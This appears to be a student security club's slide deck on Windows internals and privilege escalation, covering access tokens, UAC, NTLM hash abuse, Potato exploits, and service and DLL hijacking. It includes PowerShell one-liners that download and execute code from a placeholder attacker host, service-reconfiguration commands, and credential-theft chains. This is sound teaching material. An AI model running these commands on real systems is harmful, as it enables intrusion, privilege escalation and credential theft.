SIGPwny

SP2025 Week 03 • 2025-02-11

Windows & Windows Privilege Escalation

Ronan Boyarski

Table of Contents

- Basic Windows Overview
  - Privileges / Tokens
  - Process Integrity Levels
  - SYSTEM vs Administrator
  - NTDLL & Kernel32
  - CMD vs PowerShell vs linux equivalents
  - NTLM authentication overview
- Abuse
  - Trivial Privilege Escalation (Potato exploits)
  - Unquoted Service Paths & Weak Permissions
  - Pass-the-Hash (NTLM)
  - Net-NTLMv2 Hash Theft via SMB

Windows Overview

Privileges

- No sudo* like Linux
  - Each process has its own access token that determines more granular privileges
  - Token contains Security IDentifier (SID), Logon ID (LUID), group memberships & privileges
- Each process can have a bunch of granular privileges coming out of a huge list
- Some of these **will trivially grant SYSTEM**
  - I will cover this later with the Potato exploits
  - For example, one privilege will let you impersonate users, while another gives you arbitrary read on processes

Logon Sessions & Access Tokens

- When a user logs in locally, LSA will check if it's valid and grant a logon session
    - This is done by the Domain Controller if domain-joined
    - Oftentimes, there will still be support for local LSA auth as well
- Logon session to access token is a one-to-many relationship
- An access token is a "volatile repository" for security settings associated with a logon session
- You can copy these with APIs like **DuplicateTokenEx**
- Whenever you ask the kernel to do something sensitive, it will check your token and intent

Logon Sessions & Access Tokens

- Every process has a primary token for performance reasons
    - Kernel only checks once if you actually have access to make it quick
- Child processes duplicate* parent process token by default
    - *copy-by-value, not copy-by-reference
- Threads can have their own tokens as well (not necessary)
- Think of holding certain privileges as a "skip" for these checks
    - `SeDebugPrivilege` lets you **skip DACL read/write checks for ANY process and thread object**
- Note that if you have another user's credentials, you can also use WinAPI to create a valid logon session and access tokens for them

Process Integrity

- Processes also have **Integrity Levels**
  - Low, Medium, High, SYSTEM
- To do anything really privileged, we will need a **high integrity** process
  - Default is medium
- This was done so that Administrator users are not running everything fully privileged by default
  - Equivalent of forcing folks to specify sudo instead of living as root
- Unfortunately, **these are not considered a security boundary**

Process Integrity

- Elevating from medium to high integrity is regulated by User Account Control
- But again, **it's not a security boundary**, meaning that there are a number of UAC bypass methods available, that, weirdly enough, are flagged by antivirus, and also considered a feature
- Many of these just need to be obfuscated, because they are **working as intended**
- Meaning, Administrator code execution always grants full privileges as long as you can use a UAC bypass

SYSTEM vs Administrator

- Instead of a root user, Windows has SYSTEM
  - SYSTEM has all of the privileges over everything, but, by its nature, can't do some things (like using an HTTP proxy, or accessing stuff related to a desktop)
- Elevating from Administrator to SYSTEM is trivial (not a security boundary)
  - Usually as easy as starting a service
- If you've passed elementary school math, you should know by transitivity that this lets us go from medium-integrity admin to SYSTEM
  - Note that SYSTEM to Kernel is also not a security boundary

SYSTEM vs Administrator

- SYSTEM rights let us do some things that Administrator can't do
  - Dumping LSASS
  - Dumping other credentials from memory
- Otherwise comparable to root access on linux
- Note that, by default for normal Windows computers, your user is a local administrator
- By transitivity, this means that **any "unprivileged" code** execution on your normal Windows computer can hop from medium integrity -> Local Admin -> **SYSTEM** -> Kernel code execution* -> **Hardware-level persistence**

CMD & PowerShell

- These are syntactically not the same as Bash / Zsh / etc.
- They have their own syntax
- CMD is cursed and you should just google instead of learning it
- PowerShell is extremely powerful but also **heavily monitored**
- In a pentesting context, they are both invaluable, but in a red team context, they are both to be avoided
  - Can get PowerShell History with `Get-History` or `(Get-PSReadlineOption).HistorySavePath`
  - Actual APTs are unfortunately still getting away with brazen CMD and PowerShell usage because not all targets are sufficiently mature to monitor these things

PowerShell History Lesson

- PowerShell is incredibly useful
  - Access to the entire .NET runtime
  - Execute arbitrary .NET assemblies fully in memory
  - Can be used as a high-level programming language
  - Entire C2 frameworks written in it at one point (EMPIRE)
- A while ago, this was **too good** for attackers and led to a number of changes
  - AMSI
  - Script Block Logging
  - Constrained Language Mode
  - Default Execution Policy
- Only Script Block Logging is a real obstacle for attackers

PowerShell

- With all things stealth, you will have to make a tradeoff. Sometimes running one suspicious PowerShell command in order to stay fileless is worth it.
- We can execute **arbitrary remote scripts in one line**

```
iwr -uri http://attacker_ip/run.ps1 | iex
```

- We can execute **arbitrary remote .NET assemblies in one line**

```
[System.Reflection.Assembly]::Load((New-Object
System.Net.WebClient).DownloadData('http://attacker_ip/ass
em.exe')).EntryPoint.Invoke($null, (, [string[]] ('foo')))
```

Default Services

- There is far too much to be covered here, but main ones are SMB & RPC
- SMB lets us upload and download files, as well as create and start services, if we have Administrator privileges on the target
  - The default ability to do this only exists in AD domains or on Windows Server, last I checked this **does not** work against personal computers
- However, if we have a valid local admin logon for SMB, we can use that to get SYSTEM trivially
- RPC will also allow some authenticated command execution but it's a bit of a black box for me at least

Windows Authentication

- Windows uses a number of methods for authentication, but, ignoring Active Directory, the most important is NTLM
  - Used for password hashing, think **/etc/shadow** on Linux
- Windows will allow you to log in using a user's hash **instead of their password**
  - This leads to some absolutely comical abuse cases (google Hash Relaying, for example)
- This means that if we have only arbitrary read on LSASS, we can impersonate every user on the box
  - This will only happen if you have SYSTEM, but in networked cases, that's a big deal

Windows Authentication

- Not convoluted enough? Let's go over Net-NTLMv2
- Windows will automatically try to login when accessing remote SMB shares
    - Specified through UNC paths like **\\attacker\share**
- If we make a request to \\attacker\share, we will try to log in, and the attacker will get your Net-NTLMv2 hash
    - This is **not** an NTLM hash (must be cracked, can't be passed)
- If we crack it, there are a number of ways of getting code execution on target, given some conditions
    - Local Admin compromised & target is either domain joined or running Windows Server

Windows Authentication Review

- So, at a high level, let's review some abuse primitives
- Getting SYSTEM lets you get the NTLM hash of every user
  - Because we can log in with hashes, if the same user exists on multiple boxes, we can potentially chain compromises
- We can send one link and get the Net-NTLMv2 hash of the user that clicked on it
  - We can then crack it and log back in using one of many lateral movement methods, but only in some circumstances
  - If you chain this with an SSRF against a server, you have an immediate win to SYSTEM
    - SSRF -> NetNTLMv2 of service account -> SMBEXEC -> SeImpersonatePrivilege -> SweetPotato -> SYSTEM

Windows Authentication Review

- We can also try to MITM instead of phishing
  - You can use a tool called Responder, which will leverage (among many other techniques) Link Local Multicast Name Resolution to say that your attacker share corresponds to certain hostnames
  - They then visit it and you get their Net-NTLMv2 hash

BUT WAIT - THERE'S MORE

Windows Authentication

- We don't even need to MITM or phish in some circumstances
- There are a number of authentication coercion "**features**" like the infamous Printer Bug, which, under certain circumstances, **will force the target machine to authenticate to an attacker-controlled host**
  - For the Printer Bug, the Print Spooler must be running on the target
- We can go even crazier by chaining this with hash relaying and logging into another computer using the authentication from the victim machine to log in somewhere else
  - We can force a machine to log us into another machine as them

Privilege Escalation

Trivial Privilege Escalation

- Check for these privileges whenever you get a shell (`whoami /all`), as they grant SYSTEM relatively easily
  - SeImpersonatePrivilege - SweetPotato
  - SeAssignPrimaryPrivilege - never exploited this personally
  - SeTcbPrivilege - S4U w/Rubeus
  - SeBackupPrivilege - Gives arbitrary read*
  - SeRestorePrivilege - Gives arbitrary write*
  - SeCreateTokenPrivilege - Can functionally impersonate
  - SeLoadDriverPrivilege - Get kernel code execution
  - SeTakeOwnershipPrivilege - That thing is mine now
  - SeDebugPrivilege - Arbitrary read/write over processes

Service Privilege Escalation

- Mostly the same as linux in theory, just execution differences
- Enumerate services and check for weak privileges
- If the service path doesn't have quotes in it, then the search order for `C:\Program Files\Test Service\Test Service.exe` will be:
  - `C:\Program.exe`
  - `C:\Program Files\Test.exe`
  - `C:\Program Files\Test Service\Test.exe`
  - `C:\Program Files\Test Service\Test Service.exe`
- Meaning that if we can write anywhere in that chain we win

Service Privilege Escalation

- Alternatively, we may have the privilege to change the command line of the service
- Exploiting some of these is painful as it may require a reboot and you may not have the ability to start and stop services at will

Example Commands

- Enumerate Services
  - `run wmic service get name, pathname`
- Enumerate Permissions
  - `powershell Get-Acl -Path "C:\Program Files\Vulnerable Services" | fl`
- Using a C2
  - `execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath`

Example Commands

- Exploit modifiable permissions
  - `powershell-import C:\Tools\Get-ServiceAcl.ps1`
  - `powershell Get-ServiceAcl -Name VulnService | select -expand Access`
  - `sc config VulnService binPath= C:\Temp\tcp-local_x64.svc.exe`
  - `sc stop VulnService`
  - `sc start VulnService`
- Note that the space after binPath is intentional and necessary!

DLL Hijacking

- DLLs follow the same search order as service binaries
- If another process is looking for an unquoted path or a nonexistent DLL, we can place a malicious DLL there
  - We can use this for privilege escalation or persistence
- You can search for DLL hijacks with EventViewer
- Generally painful but can allow you to run code in other signed processes **without doing process injection**

UAC Bypasses

- There are a number of UAC bypasses out there
- These will take you from medium process integrity to high process integrity
  - This is for local admin accounts only
- There are plenty of bypasses out there, but what exactly to use is up to you
  - There are some BOFs that will tie directly into your C2
  - In other instances, you'll just have to use PowerShell etc.
- The only condition is that whatever software they target is installed, most should work fine
- OPSEC note: **some of these will spawn GUI applications**

Next Meetings

2025-02-13 • This Thursday

- Attempting to set up EDR on GOAD

2025-02-17 • Next Tuesday

- HackTheBox 4v4s!